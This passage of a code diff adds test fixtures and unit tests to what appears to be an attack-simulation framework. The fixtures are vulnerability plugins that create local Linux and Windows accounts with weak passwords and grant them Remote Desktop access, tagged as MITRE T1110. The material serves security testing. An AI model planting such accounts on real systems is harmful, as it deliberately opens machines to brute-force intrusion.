for user in self.conf["linux"]: + # Remove user + cmd = f"sudo userdel -r {user['name']}" + self.run_cmd(cmd) + + elif self.machine_plugin.config.os() == "windows": + for user in self.conf["windows"]: + # net user username /delete + cmd = f"net user {user['name']} /delete" + self.run_cmd(cmd) + + # Remove the new users to RDP (just in case we want to test RDP) + for user in self.conf["windows"]: + # net user username /delete + cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE""" + self.run_cmd(cmd) + + else: + raise NotImplementedError diff --git a/tests/plugins/vulnerabilities/no_stop/vul_no_stop.py b/tests/plugins/vulnerabilities/no_stop/vul_no_stop.py new file mode 100644 index 0000000..aec09b4 --- /dev/null +++ b/tests/plugins/vulnerabilities/no_stop/vul_no_stop.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 + +# Some users are created (with weak passwords) and sshd is set to allow password-based access + +from plugins.base.vulnerability_plugin import VulnerabilityPlugin + + +class VulnerabilityOk(VulnerabilityPlugin): + + # Boilerplate + name = "missing_stop" + description = "Adding users with weak passwords" + ttp = "T1110" + references = ["https://attack.mitre.org/techniques/T1110/"] + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + def start(self): + + if self.machine_plugin.config.os() == "linux": + # Add vulnerable user + # mkpasswd -m sha-512 # To calc the passwd + # This is in the debian package "whois" + + for user in self.conf["linux"]: + cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}" + self.run_cmd(cmd) + + elif self.machine_plugin.config.os() == "windows": + + for user in self.conf["windows"]: + # net user username password /add + cmd = f"net user {user['name']} {user['password']} /add" + self.run_cmd(cmd) + + for user in self.conf["windows"]: + # Adding the new users to RDP (just in case we want to test RDP) + cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD""" + self.run_cmd(cmd) + + else: + raise NotImplementedError diff --git a/tests/plugins/vulnerabilities/ok/vul_ok.py b/tests/plugins/vulnerabilities/ok/vul_ok.py new file mode 100644 index 0000000..304060a --- /dev/null +++ b/tests/plugins/vulnerabilities/ok/vul_ok.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 + +# Some users are created (with weak passwords) and sshd is set to allow password-based access + +from plugins.base.vulnerability_plugin import VulnerabilityPlugin + + +class VulnerabilityOk(VulnerabilityPlugin): + + # Boilerplate + name = "vulnerability_ok" + description = "Adding users with weak passwords" + ttp = "T1110" + references = ["https://attack.mitre.org/techniques/T1110/"] + + required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share + + def __init__(self): + super().__init__() + self.plugin_path = __file__ + + def start(self): + + if self.machine_plugin.config.os() == "linux": + # Add vulnerable user + # mkpasswd -m sha-512 # To calc the passwd + # This is in the debian package "whois" + + for user in self.conf["linux"]: + cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}" + self.run_cmd(cmd) + + elif self.machine_plugin.config.os() == "windows": + + for user in self.conf["windows"]: + # net user username password /add + cmd = f"net user {user['name']} {user['password']} /add" + self.run_cmd(cmd) + + for user in self.conf["windows"]: + # Adding the new users to RDP (just in case we want to test RDP) + cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD""" + self.run_cmd(cmd) + + else: + raise NotImplementedError + + def stop(self): + + if self.machine_plugin.config.os() == "linux": + for user in self.conf["linux"]: + # Remove user + cmd = f"sudo userdel -r {user['name']}" + self.run_cmd(cmd) + + elif self.machine_plugin.config.os() == "windows": + for user in self.conf["windows"]: + # net user username /delete + cmd = f"net user {user['name']} /delete" + self.run_cmd(cmd) + + # Remove the new users to RDP (just in case we want to test RDP) + for user in self.conf["windows"]: + # net user username /delete + cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE""" + self.run_cmd(cmd) + + else: + raise NotImplementedError diff --git a/tests/test_pluginmanager.py b/tests/test_pluginmanager.py new file mode 100644 index 0000000..e5baac7 --- /dev/null +++ b/tests/test_pluginmanager.py @@ -0,0 +1,176 @@ +import unittest +from app.pluginmanager import PluginManager +from app.attack_log import AttackLog + +from plugins.base.sensor import SensorPlugin +from plugins.base.attack import AttackPlugin +from plugins.base.vulnerability_plugin import VulnerabilityPlugin +from plugins.base.machinery import MachineryPlugin + +# https://docs.python.org/3/library/unittest.html + + +class TestMachineControl(unittest.TestCase): + + def setUp(self) -> None: + self.attack_logger = AttackLog(0) + + def test_basic_pluginmanager_init(self): + """ just a simple init """ + p = PluginManager(self.attack_logger) + self.assertIsNotNone(p) + + def test_basic_pluginmanager_get_plugins_empty(self): + """ just a simple getting plugins with empty directory """ + p = PluginManager(self.attack_logger, "tests/plugins/none") + self.assertEqual(p.get_plugins(AttackPlugin), []) + + def test_basic_pluginmanager_get_caldera_plugin(self): + """ just a simple getting the one caldera plugin """ + p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py") + plugins = p.get_plugins(AttackPlugin) + self.assertEqual(plugins[0].name, "caldera_autostart_1") + self.assertEqual(len(plugins), 1) + + def test_basic_pluginmanager_count_caldera_plugin(self): + """ counting caldera requirements """ + p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py") + plugins = p.count_caldera_requirements(AttackPlugin, None) + self.assertEqual(plugins, 1) + + def test_basic_pluginmanager_count_metasploit_plugin(self): + """ counting caldera requirements """ + p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py") + plugins = p.count_metasploit_requirements(AttackPlugin, None) + self.assertEqual(plugins, 0) + + def test_basic_pluginmanager_count_metasploit_plugin_2(self): + """ counting metasploit requirements """ + p = PluginManager(self.attack_logger, "tests/plugins/metasploit/metasploit_ok.py") + plugins = p.count_metasploit_requirements(AttackPlugin, None) + self.assertEqual(plugins, 1) + + def test_basic_pluginmanager_check_ok(self): + """ basic check for a plugin, ok """ + p = PluginManager(self.attack_logger, "tests/plugins/metasploit/metasploit_ok.py") + plugins = p.get_plugins(AttackPlugin) + c = p.check(plugins[0]) + self.assertEqual(c, []) + + def test_basic_pluginmanager_check_sensor_plugin_ok(self): + """ just a simple getting the one sensor plugin """ + p = PluginManager(self.attack_logger, "tests/plugins/sensor/sensor_ok/*.py") + plugins = p.get_plugins(SensorPlugin) + c = p.check(plugins[0]) + self.assertEqual(c, []) + + def test_basic_pluginmanager_check_sensor_plugin_missing_collect(self): + """ a sensor plugin with missing collect should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/sensor/missing_collect/*.py") + plugins = p.get_plugins(SensorPlugin) + c = p.check(plugins[0]) + self.assertRegexpMatches(c[0], "Method 'collect' not implemented in missing_collect in .*") + + def test_basic_pluginmanager_pick_sensor_plugin_by_name(self): + """ get a plugin by name """ + p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py") + plugins = p.get_plugins(SensorPlugin, ["pick_me"]) + self.assertEqual(len(plugins), 1) + self.assertEqual(plugins[0].get_name(), "pick_me") + + def test_basic_pluginmanager_pick_sensor_plugin_by_name_2(self): + """ get two plugins by name """ + p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py") + plugins = p.get_plugins(SensorPlugin, ["pick_me", "ignore_me"]) + self.assertEqual(len(plugins), 2) + + def test_basic_pluginmanager_pick_sensor_plugin_by_name_3(self): + """ not finding any plugin by name """ + p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py") + plugins = p.get_plugins(SensorPlugin, ["fail"]) + self.assertEqual(len(plugins), 0) + + def test_basic_pluginmanager_check_attack_plugin_missing_run(self): + """ a attack plugin with missing run should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/attack/missing_run/*.py") + plugins = p.get_plugins(AttackPlugin) + c = p.check(plugins[0]) + self.assertRegex(c[0], "Method 'run' not implemented in missing_run in .*") + + def test_basic_pluginmanager_check_vulnerability_plugin_ok(self): + """ a vulnerability plugin ok on check""" + p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/ok/*.py") + plugins = p.get_plugins(VulnerabilityPlugin) + c = p.check(plugins[0]) + self.assertEqual(len(c), 0) + + def test_basic_pluginmanager_check_vulnerability_plugin_missing_start(self): + """ a vulnerability plugin with missing start should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/no_start/*.py") + plugins = p.get_plugins(VulnerabilityPlugin) + c = p.check(plugins[0]) + self.assertRegex(c[0], "Method 'start' not implemented in missing_start in .*") + + def test_basic_pluginmanager_check_vulnerability_plugin_missing_stop(self): + """ a vulnerability plugin with missing stop should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/no_stop/*.py") + plugins = p.get_plugins(VulnerabilityPlugin) + c = p.check(plugins[0]) + self.assertRegex(c[0], "Method 'stop' not implemented in missing_stop in .*") + + def test_basic_pluginmanager_check_machinery_plugin_ok(self): + """ a machinery plugin ok on check""" + p = PluginManager(self.attack_logger, "tests/plugins/machinery/ok/*.py") + plugins = p.get_plugins(MachineryPlugin) + c = p.check(plugins[0]) + self.assertEqual(len(c), 0) + + def test_basic_pluginmanager_check_machinery_plugin_missing_up(self): + """ a machinery plugin with missing up should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_up/*.py") + plugins = p.get_plugins(MachineryPlugin) + c = p.check(plugins[0]) + self.assertRegex(c[0], "Method 'up' not implemented in machinery_no_up in .*") + + def test_basic_pluginmanager_check_machinery_plugin_missing_state(self): + """ a machinery plugin with missing get_state should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_state/*.py") + plugins = p.get_plugins(MachineryPlugin) + c = p.check(plugins[0]) + self.assertRegex(c[0], "Method 'get_state' not implemented in machinery_no_state in .*") + + def test_basic_pluginmanager_check_machinery_plugin_missing_ip(self): + """ a machinery plugin with missing get_ip should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_ip/*.py") + plugins = p.get_plugins(MachineryPlugin) + # breakpoint() + c = p.check(plugins[0]) + self.assertEqual(len(c), 1) + self.assertRegex(c[0], "Method 'get_ip' not implemented in machinery_no_ip in .*") + + def test_basic_pluginmanager_check_machinery_plugin_missing_halt(self): + """ a machinery plugin with missing halt should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_halt/*.py") + plugins = p.get_plugins(MachineryPlugin) + # breakpoint() + c = p.check(plugins[0]) + self.assertEqual(len(c), 1) + self.assertRegex(c[0], "Method 'halt' not implemented in machinery_no_halt in .*") + + def test_basic_pluginmanager_check_machinery_plugin_missing_destroyt(self): + """ a machinery plugin with missing destroy should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_destroy/*.py") + plugins = p.get_plugins(MachineryPlugin) + # breakpoint() + c = p.check(plugins[0]) + self.assertEqual(len(c), 1) + self.assertRegex(c[0], "Method 'destroy' not implemented in machinery_no_destroy in .*") + + def test_basic_pluginmanager_check_machinery_plugin_missing_create(self): + """ a machinery plugin with missing create should throw an error on check""" + p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_create/*.py") + plugins = p.get_plugins(MachineryPlugin) + # breakpoint() + c = p.check(plugins[0]) + self.assertEqual(len(c), 1) + self.assertRegex(c[0], "Method 'create' not implemented in machinery_no_create in .*")